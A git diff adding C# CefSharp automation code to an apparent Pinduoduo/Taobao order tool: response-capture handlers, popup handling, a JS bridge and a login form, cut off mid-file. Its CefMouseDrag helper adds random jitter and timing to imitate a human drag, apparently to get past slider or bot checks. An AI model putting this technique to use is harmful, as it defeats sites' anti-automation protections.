///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/Helper/CEFHelper.cs b/29WxOrder/Helper/CEFHelper.cs new file mode 100644 index 0000000..a45320b --- /dev/null +++ b/29WxOrder/Helper/CEFHelper.cs @@ -0,0 +1,76 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace _29WxOrder.Helper +{ + public class CEFHelper + { + // 鼠标左键按下,移动,移动...左键抬起。 + public static void CefMouseDrag(ChromiumWebBrowser webBrowser, int x1, int y1, int x2, int y2) + { + Thread.Sleep(100); + var host = webBrowser.GetBrowser().GetHost(); + + var rx = -6 + Randomx.GetId(13); + x2 = x2 + rx; + // 随机按下点的位置(正负6像素),提高仿真性 + int x = x1 + rx; + int y = y1 - 6 + Randomx.GetId(13); + + // 按下鼠标左键 + host.SendMouseClickEvent(x, y, MouseButtonType.Left, false, 1, CefEventFlags.None); + Thread.Sleep(100 + Randomx.GetId(300)); + + // 滑动光标 + int times = -20; + while (x < x2 + 4 - Randomx.GetId(9)) + { + times++; + x += (25 + Randomx.GetId(15)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + if (x < x2 - 1) + while (x < x2) + { + times++; + x += (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + else if (x > x2 + 1) + while (x > x2) + { + times++; + x -= (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + + // 如果最后位置偏差较多,再做一次调整 + x = x2 - 1 + Randomx.GetId(3); + x = x2; + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + + // 抬起鼠标左键 + Thread.Sleep(300 + Randomx.GetId(500)); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + } + } +} diff --git a/29WxOrder/Helper/CustomResourceRequestHandler.cs b/29WxOrder/Helper/CustomResourceRequestHandler.cs new file mode 100644 index 0000000..c63df61 --- /dev/null +++ b/29WxOrder/Helper/CustomResourceRequestHandler.cs @@ -0,0 +1,197 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Collections.Specialized; +using System.Security.Cryptography.X509Certificates; +using System.Diagnostics; +using CefSharp; +using NaiBa.Util; +using NaiBa.Util.Extension; +using System.IO; +using System.Web; +using CefSharp.Handler; +using CefSharp.ResponseFilter; +using System.Collections.Concurrent; +using NaiBa.Util.Helper; + +namespace _29WxOrder.Helper +{ + public class BaseResourceRequestHandler : ResourceRequestHandler + { + public string UserAgent = string.Empty; + public Func BeforeResourceLoadEvent; // sender, requestUrl, postData, true(表示取消执行) + public Action ResourceLoadCompleteEvent; // sender, requestUrl, postData, responseData + public Action ResourceRedirectEvent; // sender, requestUrl, postData, redirectUrl + public string[] ResourceContentTypeRegister = new string[] { "application/json", "javascript", "application/x-www-form-urlencoded", "text/html", "text/plain" }; + + public string GetCharSet(string charSet) + { + if (string.IsNullOrEmpty(charSet)) + { + charSet = "UTF-8"; + } + return charSet; + } + + public string GetPostData(IRequest request) + { + string postData = string.Empty; + if (request.PostData != null && request.PostData.Elements.Any()) + { + for (int i = 0; i < request.PostData.Elements.Count; i++) + { + try + { + string charset = GetCharSet(request.GetCharSet()); + try + { + if (request.PostData.Elements[i].Type != PostDataElementType.Empty) + postData += request.PostData.Elements[i].GetBody(charset); + } + catch (Exception ex) { } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } + return postData; + } + } + + public class CustomResourceRequestHandler : BaseResourceRequestHandler + { + private ConcurrentDictionary responseDict = new ConcurrentDictionary(); + + protected override CefReturnValue OnBeforeResourceLoad(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IRequestCallback callback) + { + Uri url; + if (Uri.TryCreate(request.Url, UriKind.Absolute, out url) == false) + { + //If we're unable to parse the Uri then cancel the request + // avoid throwing any exceptions here as we're being called by unmanaged code + return CefReturnValue.Cancel; + } + + if (!string.IsNullOrEmpty(UserAgent)) + { + var headers = request.Headers; + headers["User-Agent"] = UserAgent; + request.Headers = headers; + } + + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + //callback.Dispose(); + //return false; + + //NOTE: When executing the callback in an async fashion need to check to see if it's disposed + if (!callback.IsDisposed) + { + using (callback) + { + if (request.Method == "POST") + { + try + { + string postData = GetPostData(request); + bool? result = BeforeResourceLoadEvent?.Invoke(chromiumWebBrowser, request.Url, postData); + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } + } + return CefReturnValue.Continue; + } + + protected override void OnResourceRedirect(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response, ref string newUrl) + { + try + { + if (ResourceRedirectEvent != null) + { + string postData = GetPostData(request); + ResourceRedirectEvent.Invoke(chromiumWebBrowser, request.Url, postData, newUrl); + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + + protected override bool OnProtocolExecution(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request) + { + return request.Url.StartsWith("mailto"); + } + + protected override bool OnResourceResponse(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + //NOTE: You cannot modify the response, only the request + // You can now access the headers + //var headers = response.Headers; + + return false; + } + + protected override IResponseFilter GetResourceResponseFilter(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + try + { + string contentType = response.Headers["Content-Type"]; + if (string.IsNullOrEmpty(contentType)) + { + return null; + } + + if (ResourceContentTypeRegister.Contains(contentType) || ResourceContentTypeRegister.Where(p => contentType.Contains(p)).Any()) + { + if (ResourceLoadCompleteEvent != null) + { + MemoryStream memoryStream = new MemoryStream(); + responseDict.TryAdd(request.Identifier, memoryStream); + return new StreamResponseFilter(memoryStream); + } + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + return null; + } + + protected override void OnResourceLoadComplete(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response, UrlRequestStatus status, long receivedContentLength) + { + try + { + if (responseDict.ContainsKey(request.Identifier)) + { + MemoryStream memoryStream = null; + responseDict.TryRemove(request.Identifier, out memoryStream); + + if (memoryStream != null) + { + byte[] data = memoryStream.ToArray(); + + string charset = GetCharSet(response.Charset); + var responseData = Encoding.GetEncoding(charset).GetString(data); + + string postData = GetPostData(request); + ResourceLoadCompleteEvent.Invoke(chromiumWebBrowser, request.Url, postData, responseData); + } + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } +} diff --git a/29WxOrder/Helper/LifeSpanHandlerLocal.cs b/29WxOrder/Helper/LifeSpanHandlerLocal.cs new file mode 100644 index 0000000..848ec0d --- /dev/null +++ b/29WxOrder/Helper/LifeSpanHandlerLocal.cs @@ -0,0 +1,82 @@ +using CefSharp; +using CefSharp.WinForms; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder.Helper +{ + public enum PopWindowType + { + NewWindow, + SelfWindow, + NewTitleWindow, + } + public class PopData + { + public string Url { get; set; } + } + public class LifeSpanHandlerLocal : ILifeSpanHandler + { + private PopWindowType popWindowType = PopWindowType.NewWindow; + public event EventHandler OnPop; + public ChromiumWebBrowser parent; + public LifeSpanHandlerLocal() + { + } + + public LifeSpanHandlerLocal(PopWindowType _popWindowType) + { + popWindowType = _popWindowType; + } + + public bool DoClose(IWebBrowser browserControl, IBrowser browser) + { + return false; + } + + public void OnAfterCreated(IWebBrowser chromiumWebBrowser, IBrowser browser) + { + if (!browser.IsDisposed && browser.IsPopup) + { + //GlobalFormConfig.MainFormInstance.InvokeOnUiThreadIfRequired(() => + //{ + // // 修改窗体左上角的图标 + // IntPtr handle = browser.GetHost().GetWindowHandle(); + // PInvokeHelper.SendMessage(handle, 0x80, IntPtr.Zero, NaiBaGlobalConfig.SoftwareConfig.LogoIcon.Handle); + //}); + } + } + + public void OnBeforeClose(IWebBrowser browserControl, IBrowser browser) + { + + } + + public bool OnBeforePopup(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, string targetFrameName, WindowOpenDisposition targetDisposition, bool userGesture, IPopupFeatures popupFeatures, IWindowInfo windowInfo, IBrowserSettings browserSettings, ref bool noJavascriptAccess, out IWebBrowser newBrowser) + { + if (popWindowType == PopWindowType.NewWindow) + { + newBrowser = null; + return false; + } + else if (popWindowType == PopWindowType.NewTitleWindow) + { + PopData p = new PopData() { Url = targetUrl }; + if (OnPop != null) + OnPop(this, p); + newBrowser = null; + return true; + } + else + { + // 不打开新的 tab + browser.MainFrame.LoadUrl(targetUrl); + newBrowser = null; + return true; + } + } + } +} diff --git a/29WxOrder/JsEvent.cs b/29WxOrder/JsEvent.cs new file mode 100644 index 0000000..8859c63 --- /dev/null +++ b/29WxOrder/JsEvent.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; + +namespace _29WxOrder +{ + [System.Runtime.InteropServices.ComVisible(true)] + public class JsEvent + { + public Object MyParam { get; set; } + + public Object GetMyParam() + { + if (MyParam.GetType().IsArray) + { + String s = "["; + Object[] o = (Object[])MyParam; + for (int i = 0; i < o.Length; i++) + { + s += "'" + o[i].ToString() + "'"; + if (i < (o.Length - 1)) + { + s += ","; + } + } + s += "]"; + return s; + } + return MyParam; + } + + public void openMyPc(String dir) + { + if (string.IsNullOrEmpty(dir) || dir.Length < 2 || !dir.Contains(",")) + return; + string act = dir.Substring(0, 1); + string value = dir.Substring(2); + + if (act == "1") + { + BaseClass.ChromeUserAgent = value; + return; + } + if (act == "2") + { + string html = value; + string shopName = BaseRegex.GetMatchRegexString(ref html, @"([^<]+?)"); + if (string.IsNullOrEmpty(shopName)) + return; + return; + } + if (act == "3") + { + BaseClass.ChromeChatHtml = value; + return; + } + if (act == "4")//获取用户信息 + { + if (BaseClass.MainCatId > 0) + return; + string url = "http://mms.pinduoduo.com/userinfo"; + string refere = "http://mms.pinduoduo.com/Pdd.html"; + + return; + } + //====淘宝登录===== + if (act == "5") + { + string html = value; + + } + + } + + + public static string ChatHtml = ""; + + + } +} diff --git a/29WxOrder/LoginForm.Designer.cs b/29WxOrder/LoginForm.Designer.cs new file mode 100644 index 0000000..98a04dc --- /dev/null +++ b/29WxOrder/LoginForm.Designer.cs @@ -0,0 +1,312 @@ + +namespace _29WxOrder +{ + partial class LoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LoginForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.pnlShowRemember = new DevComponents.DotNetBar.PanelEx(); + this.linkLabel2 = new System.Windows.Forms.LinkLabel(); + this.linkLabel1 = new System.Windows.Forms.LinkLabel(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.label3 = new System.Windows.Forms.Label(); + this.txtmobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtpassword = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.checkBoxAutoLogin = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.remember = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.loginPanel = new DevComponents.DotNetBar.PanelEx(); + this.lblContactSupport = new System.Windows.Forms.LinkLabel(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(321, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.lblContactSupport); + this.panel1.Controls.Add(this.pictureBox1); + this.panel1.Controls.Add(this.pnlShowRemember); + this.panel1.Controls.Add(this.linkLabel2); + this.panel1.Controls.Add(this.linkLabel1); + this.panel1.Controls.Add(this.panelEx1); + this.panel1.Controls.Add(this.txtmobile); + this.panel1.Controls.Add(this.txtpassword); + this.panel1.Controls.Add(this.checkBoxAutoLogin); + this.panel1.Controls.Add(this.remember); + this.panel1.Controls.Add(this.loginPanel); + this.panel1.Location = new System.Drawing.Point(3, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(347, 227); + this.panel1.TabIndex = 3; + // + // pictureBox1 + // + this.pictureBox1.Image = global::_29WxOrder.Properties.Resources.icon; + this.pictureBox1.Location = new System.Drawing.Point(25, 87); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(66, 64); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 45; + this.pictureBox1.TabStop = false; + // + // pnlShowRemember + // + this.pnlShowRemember.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlShowRemember.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowRemember.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlShowRemember.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowRemember.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlShowRemember.Location = new System.Drawing.Point(246, 97); + this.pnlShowRemember.Name = "pnlShowRemember"; + this.pnlShowRemember.Size = new System.Drawing.Size(16, 16); + this.pnlShowRemember.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowRemember.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlShowRemember.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlShowRemember.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowRemember.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlShowRemember.Style.GradientAngle = 90; + this.pnlShowRemember.TabIndex = 90; + this.pnlShowRemember.Text = "▼"; + this.pnlShowRemember.Visible = false; + this.pnlShowRemember.Click += new System.EventHandler(this.pnlShowRemember_Click); + // + // linkLabel2 + // + this.linkLabel2.AutoSize = true; + this.linkLabel2.Location = new System.Drawing.Point(268, 132); + this.linkLabel2.Name = "linkLabel2"; + this.linkLabel2.Size = new System.Drawing.Size(53, 12); + this.linkLabel2.TabIndex = 77; + this.linkLabel2.TabStop = true; + this.linkLabel2.Text = "找回密码"; + this.linkLabel2.Visible = false; + // + // linkLabel1 + // + this.linkLabel1.AutoSize = true; + this.linkLabel1.Location = new System.Drawing.Point(268, 98); + this.linkLabel1.Name = "linkLabel1"; + this.linkLabel1.Size = new System.Drawing.Size(53, 12); + this.linkLabel1.TabIndex = 76; + this.linkLabel1.TabStop = true; + this.linkLabel1.Text = "注册用户"; + this.linkLabel1.Visible = false; + // + // panelEx1 + // + this.panelEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.label3); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Margin = new System.Windows.Forms.Padding(0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(350, 70); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx1.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 66; + // + // label3 + // + this.label3.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.label3.Font = new System.Drawing.Font("宋体", 20F, System.Drawing.FontStyle.Bold); + this.label3.ForeColor = System.Drawing.Color.White; + this.label3.Location = new System.Drawing.Point(19, 13); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(313, 47); + this.label3.TabIndex = 44; + this.label3.Text = "小奶兔"; + this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // txtmobile + // + // + // + // + this.txtmobile.Border.BackColor = System.Drawing.Color.Transparent; + this.txtmobile.Border.BackColor2 = System.Drawing.Color.Transparent; + this.txtmobile.Border.BackColorGradientType = DevComponents.DotNetBar.eGradientType.Radial; + this.txtmobile.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtmobile.Border.BorderBottomWidth = 1; + this.txtmobile.Border.BorderColor = System.Drawing.Color.DeepSkyBlue; + this.txtmobile.Border.BorderGradientAngle = 0; + this.txtmobile.Border.BorderLeft = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtmobile.Border.BorderRight = 